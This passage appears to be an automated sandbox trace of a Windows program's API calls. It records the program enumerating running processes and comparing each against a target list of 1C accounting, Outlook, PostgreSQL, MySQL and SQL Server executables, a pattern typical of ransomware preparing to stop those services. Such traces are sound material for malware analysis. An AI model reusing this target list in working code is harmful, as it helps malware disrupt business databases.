lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.652] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.652] lstrlenW (lpString="System") returned 6 [0069.652] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0069.652] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0069.652] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0069.652] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0069.652] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0069.652] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0069.652] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0069.652] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.653] lstrlenW (lpString="smss.exe") returned 8 [0069.653] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0069.653] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.653] lstrlenW (lpString="csrss.exe") returned 9 [0069.653] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0069.653] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0069.653] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0069.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0069.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0069.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0069.653] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.654] lstrlenW (lpString="wininit.exe") returned 11 [0069.654] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0069.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0069.654] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0069.654] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0069.654] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0069.654] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0069.654] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0069.654] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.654] lstrlenW (lpString="csrss.exe") returned 9 [0069.654] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0069.654] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.654] lstrlenW (lpString="winlogon.exe") returned 12 [0069.655] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.655] lstrlenW (lpString="services.exe") returned 12 [0069.655] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.655] lstrlenW (lpString="lsass.exe") returned 9 [0069.655] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0069.655] lstrlenW (lpString="lsm.exe") returned 7 [0069.655] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.656] lstrlenW (lpString="svchost.exe") returned 11 [0069.656] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.656] lstrlenW (lpString="svchost.exe") returned 11 [0069.656] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.657] lstrlenW (lpString="svchost.exe") returned 11 [0069.657] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.657] lstrlenW (lpString="svchost.exe") returned 11 [0069.657] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.657] lstrlenW (lpString="svchost.exe") returned 11 [0069.657] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.658] lstrlenW (lpString="audiodg.exe") returned 11 [0069.658] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.658] lstrlenW (lpString="svchost.exe") returned 11 [0069.658] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.658] lstrlenW (lpString="svchost.exe") returned 11 [0069.658] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.659] lstrlenW (lpString="dwm.exe") returned 7 [0069.659] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.659] lstrlenW (lpString="explorer.exe") returned 12 [0069.659] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.659] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.659] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.660] lstrlenW (lpString="svchost.exe") returned 11 [0069.660] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.660] lstrlenW (lpString="taskhost.exe") returned 12 [0069.660] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.660] lstrlenW (lpString="taskeng.exe") returned 11 [0069.660] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0069.660] lstrlenW (lpString="communist_nick.exe") returned 18 [0069.660] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0069.661] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0069.661] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0069.661] lstrlenW (lpString="prize.exe") returned 9 [0069.661] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0069.661] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0069.661] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0069.662] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0069.662] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0069.662] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0069.662] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0069.662] lstrlenW (lpString="prospects.exe") returned 13 [0069.662] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0069.663] lstrlenW (lpString="signalpackard.exe") returned 17 [0069.663] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0069.663] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0069.663] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0069.663] lstrlenW (lpString="release.exe") returned 11 [0069.663] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0069.663] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0069.664] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0069.664] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0069.664] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0069.664] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0069.664] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0069.664] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0069.664] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0069.665] lstrlenW (lpString="stickers_nations.exe") returned 20 [0069.665] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0069.665] lstrlenW (lpString="initiated-scary.exe") returned 19 [0069.665] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.665] lstrlenW (lpString="3dftp.exe") returned 9 [0069.665] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.666] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0069.666] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.666] lstrlenW (lpString="alftp.exe") returned 9 [0069.666] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.666] lstrlenW (lpString="barca.exe") returned 9 [0069.666] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.667] lstrlenW (lpString="bitkinex.exe") returned 12 [0069.667] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.667] lstrlenW (lpString="coreftp.exe") returned 11 [0069.667] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0069.667] lstrlenW (lpString="far.exe") returned 7 [0069.667] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.041] lstrlenW (lpString="filezilla.exe") returned 13 [0070.041] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.042] lstrlenW (lpString="flashfxp.exe") returned 12 [0070.042] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.042] lstrlenW (lpString="fling.exe") returned 9 [0070.042] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.042] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0070.042] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.043] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0070.043] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.043] lstrlenW (lpString="icq.exe") returned 7 [0070.043] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.043] lstrlenW (lpString="leechftp.exe") returned 12 [0070.043] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.043] lstrlenW (lpString="ncftp.exe") returned 9 [0070.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0070.044] lstrlenW (lpString="notepad.exe") returned 11 [0070.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0070.044] lstrlenW (lpString="operamail.exe") returned 13 [0070.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0070.044] lstrlenW (lpString="pidgin.exe") returned 10 [0070.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0070.045] lstrlenW (lpString="scriptftp.exe") returned 13 [0070.045] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0070.045] lstrlenW (lpString="skype.exe") returned 9 [0070.045] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0070.046] lstrlenW (lpString="smartftp.exe") returned 12 [0070.046] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0070.046] lstrlenW (lpString="thunderbird.exe") returned 15 [0070.046] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0070.047] lstrlenW (lpString="totalcmd.exe") returned 12 [0070.047] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0070.047] lstrlenW (lpString="trillian.exe") returned 12 [0070.047] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0070.047] lstrlenW (lpString="webdrive.exe") returned 12 [0070.047] Process32NextW (in: hSnapshot=0x1b0, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 